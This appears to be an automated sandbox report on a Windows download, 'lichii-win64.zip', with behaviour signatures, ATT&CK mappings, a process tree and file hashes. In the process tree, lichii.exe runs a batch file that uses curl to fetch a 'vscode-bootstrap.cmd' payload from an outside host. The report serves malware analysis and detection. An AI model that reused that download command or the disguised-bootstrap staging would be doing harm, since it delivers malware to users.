hxxps://lichii[.]org/downloads/lichii-win64[.]zip

Analysis

user interaction
yes
max time kernel
180s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
07/11/2026, 23:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://lichii.org/downloads/lichii-win64.zip
Sample261107-3chnnawsgs

Score

7^/10

discovery execution

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
916	lichii.exe
2248	lichii.exe

Loads dropped DLL 21 IoCs

pid	Process
916	lichii.exe
916	lichii.exe
916	lichii.exe
916	lichii.exe
916	lichii.exe
916	lichii.exe
916	lichii.exe
916	lichii.exe
916	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
2248	lichii.exe
916	lichii.exe
916	lichii.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2160	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2788	msedge.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	wermgr.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1570888168-524493533-3242721904-1000\{DB85A00C-2B10-410C-B804-6786951F4A00}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1570888168-524493533-3242721904-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1570888168-524493533-3242721904-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\lichii-win64.zip:Zone.Identifier	msedge.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
916	lichii.exe
916	lichii.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5640	msedge.exe
5640	msedge.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeRestorePrivilege	4660	7zG.exe
Token: 35	4660	7zG.exe
Token: SeSecurityPrivilege	4660	7zG.exe
Token: SeSecurityPrivilege	4660	7zG.exe
Token: SeDebugPrivilege	3548	taskmgr.exe
Token: SeSystemProfilePrivilege	3548	taskmgr.exe
Token: SeCreateGlobalPrivilege	3548	taskmgr.exe
Token: 33	3548	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3548	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4660	7zG.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe

Suspicious use of SendNotifyMessage 58 IoCs

pid	Process
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
4544	msedge.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe
3548	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4184	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 5904	4544	msedge.exe	80
PID 4544 wrote to memory of 2788	4544	msedge.exe	81
PID 4544 wrote to memory of 5452	4544	msedge.exe	82
PID 4544 wrote to memory of 5496	4544	msedge.exe	83
PID 4544 wrote to memory of 5452	4544	msedge.exe	82
PID 4544 wrote to memory of 5496	4544	msedge.exe	83
PID 4544 wrote to memory of 5496	4544	msedge.exe	83
PID 4544 wrote to memory of 4408	4544	msedge.exe	84
PID 4544 wrote to memory of 4408	4544	msedge.exe	84
PID 4544 wrote to memory of 4408	4544	msedge.exe	84
PID 4544 wrote to memory of 4564	4544	msedge.exe	85
PID 4544 wrote to memory of 4564	4544	msedge.exe	85
PID 4544 wrote to memory of 4564	4544	msedge.exe	85
PID 4544 wrote to memory of 4888	4544	msedge.exe	88
PID 4544 wrote to memory of 784	4544	msedge.exe	89
PID 4544 wrote to memory of 4888	4544	msedge.exe	88
PID 4544 wrote to memory of 784	4544	msedge.exe	89
PID 4544 wrote to memory of 3036	4544	msedge.exe	90
PID 4544 wrote to memory of 1828	4544	msedge.exe	91
PID 4544 wrote to memory of 3036	4544	msedge.exe	90
PID 4544 wrote to memory of 1828	4544	msedge.exe	91
PID 4544 wrote to memory of 1828	4544	msedge.exe	91
PID 4544 wrote to memory of 2804	4544	msedge.exe	92
PID 2804 wrote to memory of 996	2804	msedge.exe	93
PID 4544 wrote to memory of 1608	4544	msedge.exe	95
PID 4544 wrote to memory of 5792	4544	msedge.exe	98
PID 4544 wrote to memory of 3012	4544	msedge.exe	99
PID 4544 wrote to memory of 3012	4544	msedge.exe	99
PID 4544 wrote to memory of 3012	4544	msedge.exe	99
PID 4544 wrote to memory of 5504	4544	msedge.exe	102
PID 4544 wrote to memory of 3192	4544	msedge.exe	103
PID 4544 wrote to memory of 1892	4544	msedge.exe	104
PID 4544 wrote to memory of 4956	4544	msedge.exe	105
PID 4544 wrote to memory of 4956	4544	msedge.exe	105
PID 4544 wrote to memory of 5232	4544	msedge.exe	108
PID 4544 wrote to memory of 5232	4544	msedge.exe	108
PID 916 wrote to memory of 2248	916	lichii.exe	111
PID 916 wrote to memory of 2160	916	lichii.exe	112
PID 2160 wrote to memory of 5504	2160	cmd.exe	114
PID 4544 wrote to memory of 5696	4544	msedge.exe	118
PID 4544 wrote to memory of 5696	4544	msedge.exe	118
PID 4544 wrote to memory of 5640	4544	msedge.exe	120
PID 4544 wrote to memory of 5208	4544	msedge.exe	127
PID 4544 wrote to memory of 5208	4544	msedge.exe	127

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://lichii.org/downloads/lichii-win64.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x210,0x2f0,0x7ffa6bfdc188,0x7ffa6bfdc194,0x7ffa6bfdc1a0
  2⤵
  PID:5904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,2727309815307934456,1975240247050048893,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=2576 /prefetch:11
  2⤵
  - System Time Discovery
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2112,i,816901575916152914,4779304187758794207,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:13
  2⤵
  PID:5452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1588,i,16641872944787001750,6897834579779326987,262144 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:2
  2⤵
  PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3348,i,15756419883582029624,11225201147990022151,2097152 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:1
  2⤵
  PID:4408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3368,i,12574711343602056008,8000157401650919277,2097152 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:1
  2⤵
  PID:4564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4948,i,13196642648921333487,9993145411427042458,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:14
  2⤵
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4952,i,15239257497591813881,8156834552838979179,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:14
  2⤵
  PID:784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5624,i,4931772655040472367,16949288844339340036,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:14
  2⤵
  PID:3036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5628,i,4017870979626571988,8306895933772962855,2097152 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6000,i,18017252267751938467,12616120853175568168,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:14
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1128
    3⤵
    PID:996
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6240,i,17488322795010990532,14611352122464516054,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
  2⤵
  PID:876
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6240,i,17488322795010990532,14611352122464516054,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
  2⤵
  PID:1608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6884,i,4271131399476158038,14542029929505174314,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:14
  2⤵
  - NTFS ADS
  PID:5792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5360,i,11239174307443778383,2893638293820167151,2097152 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=6908 /prefetch:1
  2⤵
  PID:3012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5732,i,11436182293064781118,1473145221324554845,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
  2⤵
  PID:5504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5712,i,917932208625506,6230278760781568566,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=3340 /prefetch:14
  2⤵
  PID:3192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5716,i,9165583366298503914,6917296401083859088,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:14
  2⤵
  PID:1892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,9945611171567040753,14174463103683856782,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:14
  2⤵
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5612,i,11543400040687594348,135627754286497706,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
  2⤵
  PID:5232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1924,i,16067087822474485480,2660554172731050216,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=1992 /prefetch:14
  2⤵
  PID:5696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6796,i,17294595655045802542,7364801764989754001,262144 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,6846883843715383709,10644471842560883546,524288 --field-trial-handle=2532,i,15989482115212573808,6125874489176271931,262144 --variations-seed-version --mojo-platform-channel-handle=6276 /prefetch:14
  2⤵
  PID:5208

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:224

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5572

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\lichii-win64\" -spe -an -ai#7zMap30604:82:7zEvent27684
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4660

C:\Users\Admin\Desktop\lichii-win64\lichii.exe
"C:\Users\Admin\Desktop\lichii-win64\lichii.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:916
- C:\Users\Admin\Desktop\lichii-win64\lichii.exe
  C:\Users\Admin\Desktop\lichii-win64\lichii.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2248
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\dxc_0dcd84f5.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\.vscode\vscode-bootstrap.cmd" "https://dpdc737.dpdatacenter.com/.well-known/acme-challenge/bootstrap.php?win=25"
    3⤵
    PID:5504

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4184

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3548

C:\Windows\system32\wermgr.exe
"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3252" "16344" "16284" "16312" "0" "0" "16328" "16340" "0" "0" "0" "0"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4000

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vscode-bootstrap.cmd

Path C:\Users\Admin\.vscode\vscode-bootstrap.cmd
Size 11KB
SHA256 8597d6276d9de73710fe9fa0cab56cb703e5d174b24b78f589e60d4e0cfdd0f8
MD5 6df7e946c80a7425e40ee534b41da855
SHA1 76ff3f5a2a624e156b893f26e38f990042e1b3d2
SHA512 e434952403bcdc71fe2dd7aa9d2b5918dbdc324efce9dd01c8b905133b001926b1e3bcd9b0317e23be746aef85dc70726be85381454c7daaf1e5e6720f997972
SSDEEP 192:sXZNsGeTHQpD+da6+888+UV7tDoj/pxzpILEEqi8xRIs6P/mMCpLb8KzDix:sXV+/DV7k/3Ju8bdShGX8KXix
TLSH
T19342F78CBEE422B4F31317DE37EF251D122468D72409D080F95C6EF87F0AA8C4A56B59
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1c9b2e20-61c2-4635-be9e-b56cf6265c32.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\1c9b2e20-61c2-4635-be9e-b56cf6265c32.tmp
Size 27KB
